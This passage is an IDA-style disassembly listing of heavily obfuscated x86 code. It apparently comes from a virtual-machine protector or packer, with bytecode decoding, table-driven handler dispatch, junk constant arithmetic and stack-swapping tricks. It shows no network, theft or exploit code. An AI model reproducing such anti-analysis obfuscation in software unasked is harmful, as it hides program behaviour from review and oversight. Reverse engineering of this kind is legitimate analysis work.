		xor	cl, 0CDh
		jmp	loc_581841
; ---------------------------------------------------------------------------


loc_58A7B0:				; CODE XREF: ud2_____:00590E2Fj
		add	esp, 4
		sub	ch, 47h
		push	4DDFh
		mov	[esp], eax
		mov	ah, ch
		jmp	loc_584AC9
; ---------------------------------------------------------------------------


loc_58A7C8:				; CODE XREF: ud2_____:00583CE2j
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	67CEh
		mov	[esp], esi
		mov	esi, 24DF1F18h
		add	ebx, esi
		pop	esi
		jmp	loc_586F9C
; ---------------------------------------------------------------------------


loc_58A7F4:				; CODE XREF: ud2_____:00592639j
		shr	ebp, 4
		xor	ebp, 30A5A50Eh
		sub	esi, ebp
		pop	ebp
		jmp	loc_592739
; ---------------------------------------------------------------------------


loc_58A805:				; CODE XREF: ud2_____:00591CDAj
		pop	ebx
		add	esp, 4
		push	esi
		pop	ecx
		pop	esi
		add	eax, ecx
		jmp	loc_590144
; ---------------------------------------------------------------------------


loc_58A813:				; CODE XREF: ud2_____:0058E17Ej
		add	[esp+4], edx
		pop	edx
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, 0A3751D1h
		sub	ecx, edi
		sub	ecx, 0A3751D1h
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_586D3F
; ---------------------------------------------------------------------------


loc_58A840:				; CODE XREF: ud2_____:00590DE3j
		pop	esi
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_586029
; ---------------------------------------------------------------------------


loc_58A851:				; CODE XREF: ud2_____:00587B68j
		pop	esi
		add	ebx, edi
		sub	ebx, 0E7A6254h
		pop	edi
		add	ebx, 4
		push	0C01h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5863BC
; ---------------------------------------------------------------------------


loc_58A885:				; CODE XREF: ud2_____:00590A6Aj
		add	ebp, 98C18668h
		sub	edi, ebp
		pop	ebp
		xor	eax, edi
		pop	edi
		jmp	loc_5900E6
; ---------------------------------------------------------------------------


loc_58A896:				; CODE XREF: ud2_____:00589B7Fj
		xor	edi, 0D786D7EDh
		add	eax, edi
		pop	edi
		push	2216h
		mov	[esp], esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_58B23B
; ---------------------------------------------------------------------------


loc_58A8CA:				; CODE XREF: ud2_____:0058D84Aj
		mov	edi, 6AED625Ah
		sub	edi, 17E65376h
		add	eax, edi
		jmp	loc_591687
; ---------------------------------------------------------------------------


loc_58A8DC:				; CODE XREF: ud2_____:00592353j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	0A225FF3h
		jmp	loc_58CD8D
; ---------------------------------------------------------------------------


loc_58A8F6:				; CODE XREF: ud2_____:0057F9A7j
		mov	[esp], ebp
		mov	ebp, 6C5C22ECh
		push	ebp
		mov	ebp, 26966278h
		jmp	loc_584A42
; ---------------------------------------------------------------------------


loc_58A909:				; CODE XREF: ud2_____:0057FEFFj
		shr	edx, 2
		inc	edx
		jmp	loc_5842BA
; ---------------------------------------------------------------------------


loc_58A912:				; CODE XREF: ud2_____:00582699j
		push	edi
		push	577D041Eh
		jmp	loc_58676C
; ---------------------------------------------------------------------------


loc_58A91D:				; CODE XREF: ud2_____:00592EA9j
		mov	[esp], ecx
		mov	ecx, 1
		add	edx, 38810D45h
		add	edx, ecx
		jmp	loc_586DB8
; ---------------------------------------------------------------------------


loc_58A932:				; CODE XREF: ud2_____:0058C932j
		add	al, dh
		pop	edx
		mov	dx, [esp]
		push	ebx
		jmp	loc_58B798
; ---------------------------------------------------------------------------


loc_58A93F:				; CODE XREF: ud2_____:005863C9j
		mov	ebp, [esp]
		add	esp, 4
		push	580Ah
		jmp	loc_58A0F4
; ---------------------------------------------------------------------------


loc_58A94F:				; CODE XREF: ud2_____:00582309j
		add	eax, 7C6D6245h
		sub	eax, 4F7AC95Fh
		and	ebx, eax
		pop	eax
		add	ebx, 585B6378h
		add	ebx, 0BAC1FFB9h
		jmp	loc_58D849
; ---------------------------------------------------------------------------


loc_58A96D:				; CODE XREF: ud2_____:005894A5j
		xor	dh, 0BEh
		jmp	loc_58A6FA
; ---------------------------------------------------------------------------


loc_58A975:				; CODE XREF: ud2_____:00592D30j
		xchg	ecx, [esp]
		pop	esp
		add	[esp+2], bp
		sub	word ptr [esp+2], 3E81h
		jmp	loc_57ED68
; ---------------------------------------------------------------------------


loc_58A98A:				; CODE XREF: ud2_____:00580712j
		sub	dword ptr [esp], 41B40CDFh
		jmp	loc_58525E
; ---------------------------------------------------------------------------


loc_58A996:				; CODE XREF: ud2_____:00584CD5j
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58C54B
; ---------------------------------------------------------------------------


loc_58A9A8:				; CODE XREF: ud2_____:0058D34Cj
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_57F79F
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		push	3095h
		mov	[esp], edi
		mov	edi, 4161783h
		jmp	loc_586477
; ---------------------------------------------------------------------------


loc_58A9DB:				; CODE XREF: ud2_____:00583C8Bj
		mov	esi, esp
		jmp	loc_57F40D
; ---------------------------------------------------------------------------


loc_58A9E2:				; CODE XREF: ud2_____:0057E46Cj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_585774
; ---------------------------------------------------------------------------


loc_58A9ED:				; CODE XREF: ud2_____:005813EFj
		add	esp, 4
		push	small 0
		sub	[esp], bh
		mov	bh, [esp]
		add	esp, 2
		add	bh, 37h
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_590BA6
; ---------------------------------------------------------------------------


loc_58AA14:				; CODE XREF: ud2_____:00583583j
		push	ebp
		mov	ebp, 5B457D6h
		inc	ebp
		jmp	loc_58EAE9
; ---------------------------------------------------------------------------


loc_58AA20:				; CODE XREF: ud2_____:0058F461j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0AF668F1h
		add	edi, ecx
		pop	ecx
		add	edi, ecx
		jmp	loc_590AA5
; ---------------------------------------------------------------------------


loc_58AA33:				; CODE XREF: ud2_____:0057F408j
		pop	ebp
		and	esi, 5A5452F7h
		shl	esi, 4
		xor	esi, 24492360h
		jmp	loc_57E7E5
; ---------------------------------------------------------------------------


loc_58AA48:				; CODE XREF: ud2_____:005827EDj
		push	small 1A22h
		mov	[esp], dx
		push	ecx
		mov	ch, 0DCh
		mov	dh, 0ACh
		jmp	loc_58755A
; ---------------------------------------------------------------------------


loc_58AA5A:				; CODE XREF: ud2_____:00591C49j
		mov	edi, 0C144648h
		dec	edi
		not	edi
		neg	edi
		shr	edi, 5
		sub	edi, 4C6D373Ch
		push	ebp
		mov	ebp, 0F706C55h
		xor	ebp, 55912E71h
		jmp	loc_5911EC
; ---------------------------------------------------------------------------


loc_58AA7E:				; CODE XREF: ud2_____:0058745Fj
		pop	edx
		jmp	loc_58ECC3
; ---------------------------------------------------------------------------


loc_58AA84:				; CODE XREF: ud2_____:0057FBDBj
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58AA9C:				; CODE XREF: ud2_____:0059248Cj
		pop	ebp
		push	eax
		jmp	loc_57F0F9
; ---------------------------------------------------------------------------


loc_58AAA3:				; CODE XREF: ud2_____:0058EACAj
		mov	[esp], edx
		push	ebx
		mov	bh, 0A2h
		mov	dl, 0Eh
		push	eax
		mov	ah, 59h
		jmp	loc_58187C
; ---------------------------------------------------------------------------


loc_58AAB3:				; CODE XREF: ud2_____:0058FF5Dj
		not	ebp
		sub	ebp, 0ED954D0Dh
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		jmp	loc_581199
; ---------------------------------------------------------------------------


loc_58AAE2:				; CODE XREF: ud2_____:00591196j
		xor	esi, ebx
		pop	ebx
		push	ebx
		push	eax
		mov	eax, 58917863h
		mov	ebx, eax
		jmp	loc_58796C
; ---------------------------------------------------------------------------


loc_58AAF3:				; CODE XREF: ud2_____:0058697Cj
		pop	ebx
		jmp	loc_58DB6D
; ---------------------------------------------------------------------------


loc_58AAF9:				; CODE XREF: ud2_____:005905EBj
		push	473Ch
		jmp	loc_591B8D
; ---------------------------------------------------------------------------


loc_58AB03:				; CODE XREF: ud2_____:005899D1j
		mov	edi, eax
		pop	eax
		sub	edi, 0CDE2120h
		sub	edi, 8834F3Dh
		push	5254h
		mov	[esp], esi
		mov	esi, 1FC61CF4h
		jmp	loc_586346
; ---------------------------------------------------------------------------


loc_58AB24:				; CODE XREF: ud2_____:0058AE71j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_592C3A
; ---------------------------------------------------------------------------


loc_58AB33:				; CODE XREF: ud2_____:0058F35Dj
		sub	ebx, esi
		pop	esi
		pop	small word ptr [eax]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58AB3E:				; CODE XREF: ud2_____:005833B9j
		not	edx
		jmp	loc_58E7B0
; ---------------------------------------------------------------------------


loc_58AB45:				; CODE XREF: ud2_____:00588BEDj
		sub	al, dh
		jmp	loc_585DFA
; ---------------------------------------------------------------------------


loc_58AB4C:				; CODE XREF: ud2_____:0058D1DFj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	466h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 387B3CD8h
		mov	ecx, 481A6AE3h
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 50804F5Ch
		dec	ecx
		and	ecx, 75065946h
		jmp	loc_58DECC
; ---------------------------------------------------------------------------


loc_58AB7B:				; CODE XREF: ud2_____:00582709j
		mov	ebp, 331A07C0h
		neg	ebp
		jmp	loc_58B936
; ---------------------------------------------------------------------------


loc_58AB87:				; CODE XREF: ud2_____:005856EDj
		mov	bl, 0B6h
		jmp	loc_57F929
; ---------------------------------------------------------------------------


loc_58AB8E:				; CODE XREF: ud2_____:0058F458j
		xor	dh, 6Dh
		add	dh, 0ACh
		and	cl, dh
		pop	edx
		add	cl, 1
		push	edx
		mov	dh, 16h
		xor	cl, dh
		pop	edx
		shl	cl, 2
		sub	cl, 0DCh
		push	ax
		push	ebx
		jmp	loc_58390C
; ---------------------------------------------------------------------------


loc_58ABAE:				; CODE XREF: ud2_____:005800D4j
		pop	edi
		push	ebp
		mov	ebp, 0FC22D55Ch
		add	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		jmp	loc_5924B4
; ---------------------------------------------------------------------------


loc_58ABC0:				; CODE XREF: ud2_____:0058F14Cj
		and	ecx, edx
		pop	edx
		shr	ecx, 0Ah
		push	edi
		push	eax
		jmp	loc_591FBB
; ---------------------------------------------------------------------------


loc_58ABCD:				; CODE XREF: ud2_____:0058E5DEj
		push	eax
		mov	al, ch
		mov	bl, al
		pop	eax
		jmp	loc_57E8A6
; ---------------------------------------------------------------------------


loc_58ABD8:				; CODE XREF: ud2_____:00591043j
		pop	edx
		add	esp, 4
		jmp	loc_581F0C
; ---------------------------------------------------------------------------


loc_58ABE4:				; CODE XREF: ud2_____:0057E6C1j
		mov	esi, 499E0F61h
		jmp	loc_57FCE0
; ---------------------------------------------------------------------------


loc_58ABEE:				; CODE XREF: ud2_____:00590DD8j
		and	cl, 0B8h
		jmp	loc_58F899
; ---------------------------------------------------------------------------


loc_58ABF6:				; CODE XREF: ud2_____:0058CCE7j
		inc	ch
		jmp	loc_58BD40
; ---------------------------------------------------------------------------


loc_58ABFD:				; CODE XREF: ud2_____:005874C8j
		pop	ebp
		push	edx
		mov	edx, 46874869h
		xor	edx, 2B7E056Ch
		inc	edx
		neg	edx
		xor	edx, 9206B2FEh
		add	ebp, edx
		pop	edx
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	0F65h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		push	edx
		jmp	loc_584E45
; ---------------------------------------------------------------------------


loc_58AC3F:				; CODE XREF: ud2_____:005891F1j
		push	edi
		mov	edi, ebx
		jmp	loc_58ECF2
; ---------------------------------------------------------------------------


loc_58AC47:				; CODE XREF: ud2_____:00588C15j
		shr	ecx, 5
		sub	ecx, 0C60A4A83h
		xor	edx, ecx
		pop	ecx
		jmp	loc_585CC6
; ---------------------------------------------------------------------------


loc_58AC58:				; CODE XREF: ud2_____:0058FCAFj
		sub	ebx, 0C08A92D5h
		jmp	loc_58186C
; ---------------------------------------------------------------------------


loc_58AC63:				; CODE XREF: ud2_____:00580109j
		add	ebx, 0CCD447B4h
		sub	edx, ebx
		pop	ebx
		mov	edi, [esp]
		jmp	loc_58E25F
; ---------------------------------------------------------------------------


loc_58AC74:				; CODE XREF: ud2_____:005904E9j
		add	ebp, eax
		sub	ebp, 513B58CBh
		push	eax
		mov	eax, 36E40393h
		sub	ebp, eax
		jmp	loc_58462B
; ---------------------------------------------------------------------------


loc_58AC89:				; CODE XREF: ud2_____:0058287Aj
		pop	eax
		jmp	loc_587533
; ---------------------------------------------------------------------------


loc_58AC8F:				; CODE XREF: ud2_____:005927BEj
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		mov	edi, [esp]
		push	761Ah
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58AE09
; ---------------------------------------------------------------------------


loc_58ACB4:				; CODE XREF: ud2_____:00586574j
		sub	ecx, 0AD8F8E37h
		sub	[esp+8], ecx
		pop	ecx
		add	[esp+4], eax
		add	dword ptr [esp+4], 52F132CDh
		jmp	loc_589861
; ---------------------------------------------------------------------------


loc_58ACD0:				; CODE XREF: ud2_____:0058BC63j
		mov	edi, 566807C3h
		shr	edi, 3
		push	eax
		push	edx
		mov	edx, 1E0A43F6h
		mov	eax, edx
		pop	edx
		jmp	loc_58B96F
; ---------------------------------------------------------------------------


loc_58ACE7:				; CODE XREF: ud2_____:0058A585j
		mov	ebx, 609B1887h
		jmp	loc_5921ED
; ---------------------------------------------------------------------------


loc_58ACF1:				; CODE XREF: ud2_____:0058BA42j
		sub	ebp, 6A0B1FC8h
		jmp	loc_585D5D
; ---------------------------------------------------------------------------


loc_58ACFC:				; CODE XREF: ud2_____:00580D61j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_591E18
; ---------------------------------------------------------------------------


loc_58AD32:				; CODE XREF: ud2_____:0058D233j
		add	esp, 4
		jmp	loc_58EC00
; ---------------------------------------------------------------------------


loc_58AD3A:				; CODE XREF: ud2_____:0057FF96j
		mov	[esp], edx
		mov	edx, 7FFF45FAh
		jmp	loc_584D34
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5915B3
; ---------------------------------------------------------------------------


loc_58AD5E:				; CODE XREF: ud2_____:00589144j
		sub	esi, 0EFABE2Ah
		sub	ebx, esi
		pop	esi
		push	eax
		mov	eax, 5664373Dh
		sub	ebx, eax
		jmp	loc_5830A6
; ---------------------------------------------------------------------------


loc_58AD74:				; CODE XREF: ud2_____:0058E4CBj
		mov	[esp], esi
		jmp	loc_57F1E8
; ---------------------------------------------------------------------------


loc_58AD7C:				; CODE XREF: ud2_____:0058F894j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_588D86
; ---------------------------------------------------------------------------


loc_58AD89:				; CODE XREF: ud2_____:0058986Dj
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58AD91:				; CODE XREF: ud2_____:005914E8j
		add	edx, 4
		jmp	loc_5873EC
; ---------------------------------------------------------------------------


loc_58AD9C:				; CODE XREF: ud2_____:0058E591j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_586C7C
; ---------------------------------------------------------------------------


loc_58ADA7:				; CODE XREF: ud2_____:00581B53j
		not	ebx
		neg	ebx
		or	ebx, 26BE1F0Dh
		neg	ebx
		jmp	loc_585F37
; ---------------------------------------------------------------------------


loc_58ADB8:				; CODE XREF: ud2_____:0058345Bj
		xor	ebp, 0F32884F5h
		mov	edi, ebp
		pop	ebp
		not	edi
		push	edx
		jmp	loc_5824AC
; ---------------------------------------------------------------------------


loc_58ADC9:				; CODE XREF: ud2_____:005901AFj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58E885
; ---------------------------------------------------------------------------


loc_58ADD4:				; CODE XREF: ud2_____:0057E4FEj
		shl	edx, 5
		neg	edx
		sub	edx, 0B1EF0D5Dh
		add	ecx, 67D34736h
		add	ecx, edx
		jmp	loc_5840E2
; ---------------------------------------------------------------------------


loc_58ADEC:				; CODE XREF: ud2_____:00589963j
		mov	ecx, 61EC6084h
		jmp	loc_581887
; ---------------------------------------------------------------------------


loc_58ADF6:				; CODE XREF: ud2_____:00583907j
		mov	eax, 486B4413h
		xor	eax, 486B4417h
		add	esi, eax
		pop	eax
		push	ebp
		jmp	loc_58EC8F
; ---------------------------------------------------------------------------


loc_58AE09:				; CODE XREF: ud2_____:0058ACAFj
		push	esi
		mov	esi, 39993F1Ah
		jmp	loc_5806C9
; ---------------------------------------------------------------------------


loc_58AE14:				; CODE XREF: ud2_____:00585D4Dj
		push	edi
		mov	edi, 4C016279h
		push	edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_590EA7
; ---------------------------------------------------------------------------


loc_58AE2B:				; CODE XREF: ud2_____:005855EAj
		pop	edi
		sub	ebx, 4
		jmp	loc_58BC0A
; ---------------------------------------------------------------------------


loc_58AE34:				; CODE XREF: ud2_____:0058EC1Ej
		push	esi
		mov	esi, 25C42FB4h
		mov	edi, 438464CEh
		xor	edi, esi
		pop	esi
		xor	edi, 667D5260h
		add	edi, 48520F34h
		shr	edi, 2
		jmp	loc_592B79
; ---------------------------------------------------------------------------


loc_58AE56:				; CODE XREF: ud2_____:00582BF2j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		mov	dx, [esp]
		push	2975h
		mov	[esp], eax
		jmp	loc_58AB24
; ---------------------------------------------------------------------------


loc_58AE76:				; CODE XREF: ud2_____:00585FCBj
		pop	ebx
		jmp	loc_580CAC
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 1Fh
		sub	al, 0Fh
		sub	al, bl
		add	al, 0Fh
		jmp	loc_584DB8
; ---------------------------------------------------------------------------


loc_58AE8A:				; CODE XREF: ud2_____:0058C73Bj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58AEA3:				; CODE XREF: ud2_____:0057F94Dj
		mov	edi, [esp]
		add	esp, 4
		pop	edi


loc_58AEAA:				; CODE XREF: ud2_____:005929BAj
		push	eax
		push	4EE7h
		jmp	loc_5909C1
; ---------------------------------------------------------------------------


loc_58AEB5:				; CODE XREF: ud2_____:00585A29j
		shl	al, 7
		push	eax
		xchg	cl, [esp]
		not	cl
		xchg	cl, [esp]
		pop	eax
		jmp	loc_5827C5
; ---------------------------------------------------------------------------


loc_58AEC7:				; CODE XREF: ud2_____:00591A13j
		mov	eax, 72B94B29h
		xor	eax, 33306754h
		shr	eax, 8
		neg	eax
		add	eax, 75F8A4AEh
		sub	esi, eax
		pop	eax
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	ebx
		jmp	loc_58F73F
; ---------------------------------------------------------------------------


loc_58AEF5:				; CODE XREF: ud2_____:00583245j
		mov	[esp], edx
		mov	edx, 3FCh
		push	edx
		push	5664h
		mov	[esp], edi
		mov	edi, 2BE04BE2h
		shr	edi, 4
		jmp	loc_5913E6
; ---------------------------------------------------------------------------


loc_58AF13:				; CODE XREF: ud2_____:0058E415j
		and	ebx, 51902C7Dh
		jmp	loc_57FCFD
; ---------------------------------------------------------------------------


loc_58AF1E:				; CODE XREF: ud2_____:00590E8Dj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_588157
; ---------------------------------------------------------------------------


loc_58AF34:				; CODE XREF: ud2_____:005897EBj
		add	eax, ebp
		jmp	loc_57FFDB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58AF4A:				; CODE XREF: ud2_____:0058C32Bj
		add	edi, 710E4402h
		add	edi, ebx
		sub	edi, 710E4402h
		pop	ebx
		jmp	loc_5873D0
; ---------------------------------------------------------------------------


loc_58AF5E:				; CODE XREF: ud2_____:0058FA72j
		mov	ebx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_585105
; ---------------------------------------------------------------------------


loc_58AF78:				; CODE XREF: ud2_____:0058D199j
		pop	ecx
		shl	ebp, 5
		jmp	loc_57F67A
; ---------------------------------------------------------------------------


loc_58AF81:				; CODE XREF: ud2_____:005824BCj
		add	edx, eax
		pop	eax
		add	edx, edi
		sub	edx, 4707125Ch
		pop	edi
		push	ecx
		jmp	loc_58B9A9
; ---------------------------------------------------------------------------


loc_58AF93:				; CODE XREF: ud2_____:00593046j
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4BCF2FE0h
		push	70D3h
		jmp	loc_58BF95
; ---------------------------------------------------------------------------


loc_58AFB0:				; CODE XREF: ud2_____:00583D22j
		add	dword ptr [esp], 4
		jmp	loc_58E20D
; ---------------------------------------------------------------------------


loc_58AFBC:				; CODE XREF: ud2_____:0058F367j
		pop	eax
		add	bl, al
		push	ecx
		mov	ch, 64h
		jmp	loc_58DAA5
; ---------------------------------------------------------------------------


loc_58AFC7:				; CODE XREF: ud2_____:0058EFA9j
		push	323Fh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_587DCE
; ---------------------------------------------------------------------------


loc_58AFDC:				; CODE XREF: ud2_____:00586D0Bj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_58CDCA
		push	dword ptr [edi+1Ch]
		jmp	loc_589C7B
; ---------------------------------------------------------------------------


loc_58B002:				; CODE XREF: ud2_____:00585F3Fj
		mov	ebx, [esp]
		jmp	loc_58CECC
; ---------------------------------------------------------------------------


loc_58B00A:				; CODE XREF: ud2_____:00585FF8j
		add	dword ptr [esp+4], 774550ECh
		jmp	loc_58E0F6
; ---------------------------------------------------------------------------


loc_58B017:				; CODE XREF: ud2_____:0058CEBFj
		pop	eax
		add	edi, esi
		add	edi, 77A61862h
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_591E40
; ---------------------------------------------------------------------------


loc_58B02C:				; CODE XREF: ud2_____:00592B22j
		sub	eax, 4
		jmp	loc_58126E
; ---------------------------------------------------------------------------


loc_58B034:				; CODE XREF: ud2_____:00588F47j
		pop	eax
		push	5890h
		mov	[esp], edx
		jmp	loc_5890F8
; ---------------------------------------------------------------------------


loc_58B042:				; CODE XREF: ud2_____:00585FA4j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58397F
; ---------------------------------------------------------------------------


loc_58B04B:				; CODE XREF: ud2_____:005900F7j
		add	esp, 4
		jmp	loc_57EDB1
; ---------------------------------------------------------------------------


loc_58B053:				; CODE XREF: ud2_____:005861CBj
		sub	esp, 4
		mov	[esp], edx
		mov	dl, al
		push	ecx
		mov	cl, dl
		mov	bh, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_58F8D4
; ---------------------------------------------------------------------------


loc_58B06C:				; CODE XREF: ud2_____:0058624Dj
		xor	eax, 633F4E18h
		xor	eax, 68AF2065h
		add	ecx, eax
		pop	eax
		push	4488h
		jmp	loc_58E0BB
; ---------------------------------------------------------------------------


loc_58B083:				; CODE XREF: ud2_____:00584C62j
		pop	ebx
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_585D52
; ---------------------------------------------------------------------------


loc_58B09A:				; CODE XREF: ud2_____:005921BCj
		xor	[ecx], esi
		pop	ecx
		push	edx
		push	eax
		mov	eax, 63C1012Bh
		mov	edx, 0CCD658A1h
		sub	edx, eax
		pop	eax
		jmp	loc_582C61
; ---------------------------------------------------------------------------


loc_58B0B1:				; CODE XREF: ud2_____:0058E019j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_589BA2
; ---------------------------------------------------------------------------


loc_58B0C8:				; CODE XREF: ud2_____:0057F4C6j
		sub	ecx, 73B105ACh
		mov	esi, [esp]
		jmp	loc_58F4B3
; ---------------------------------------------------------------------------


loc_58B0D6:				; CODE XREF: ud2_____:005804F8j
		pop	edi
		mov	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 47587E37h
		sub	ecx, ebp
		pop	ebp
		add	ecx, edi
		push	esi
		mov	esi, 6B3B2363h
		xor	esi, 2C635D54h
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 0
		add	edx, ecx
		push	eax
		mov	eax, 0
		add	eax, edx
		xor	esi, [eax]
		pop	eax
		jmp	loc_58C7EC
; ---------------------------------------------------------------------------


loc_58B10F:				; CODE XREF: ud2_____:00591571j
		pop	esp
		jmp	loc_581705
; ---------------------------------------------------------------------------


loc_58B115:				; CODE XREF: ud2_____:0058BF22j
		shl	esi, 3
		shr	esi, 3
		and	esi, 6C9F703Bh
		push	edx
		push	ebx
		mov	ebx, 297C7315h
		or	ebx, 779D0C7Ch
		jmp	loc_58C4AC
; ---------------------------------------------------------------------------


loc_58B133:				; CODE XREF: ud2_____:005883FFj
		mov	esp, [esp]
		xor	edx, eax
		xor	eax, edx
		jmp	loc_583E2E
; ---------------------------------------------------------------------------


loc_58B13F:				; CODE XREF: ud2_____:00588DA1j
		mov	bp, 4B4Eh
		jmp	loc_588ED7
; ---------------------------------------------------------------------------


loc_58B148:				; CODE XREF: ud2_____:00592453j
		add	[esp+4], edi
		jmp	loc_5807E0
; ---------------------------------------------------------------------------


loc_58B151:				; CODE XREF: ud2_____:00588368j
		mov	edx, [esp]
		add	esp, 4
		or	ebp, 11965ECCh
		or	ebp, 53AC0CCCh
		add	ebp, 0A8018005h
		add	edi, ebp
		pop	ebp
		jmp	loc_5894AA
; ---------------------------------------------------------------------------


loc_58B171:				; CODE XREF: ud2_____:0058BBD8j
		push	ebp
		mov	ebp, 7B183540h
		jmp	loc_588C9F
; ---------------------------------------------------------------------------


loc_58B17C:				; CODE XREF: ud2_____:0059241Dj
		sub	edx, ebx
		pop	ebx
		jmp	loc_57F4EA
; ---------------------------------------------------------------------------


loc_58B184:				; CODE XREF: ud2_____:0057F9D3j
		pop	eax
		jmp	loc_57E76E
; ---------------------------------------------------------------------------


loc_58B18A:				; CODE XREF: ud2_____:0058F9E2j
		mov	[esp], ebp
		push	eax
		jmp	loc_58BCF0
; ---------------------------------------------------------------------------


loc_58B193:				; CODE XREF: ud2_____:00582E13j
		pop	ebp
		jmp	loc_582F65
; ---------------------------------------------------------------------------


loc_58B199:				; CODE XREF: ud2_____:0058BCBEj
		xor	edx, 7F1E448Eh
		jmp	loc_5834DB
; ---------------------------------------------------------------------------


loc_58B1A4:				; CODE XREF: ud2_____:0058F40Aj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1EC44113h
		mov	esi, 453F287Bh
		sub	esi, edi
		pop	edi
		jmp	loc_58158E
; ---------------------------------------------------------------------------


loc_58B1BF:				; CODE XREF: ud2_____:00590435j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, 4Ch
		sub	esp, 4
		jmp	loc_57F8CA
; ---------------------------------------------------------------------------


loc_58B1D3:				; CODE XREF: ud2_____:00592F6Ej
		not	ebp
		add	ebp, 0F58DAD8Ch
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	37E7h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58D36D
; ---------------------------------------------------------------------------


loc_58B201:				; CODE XREF: ud2_____:0057F115j
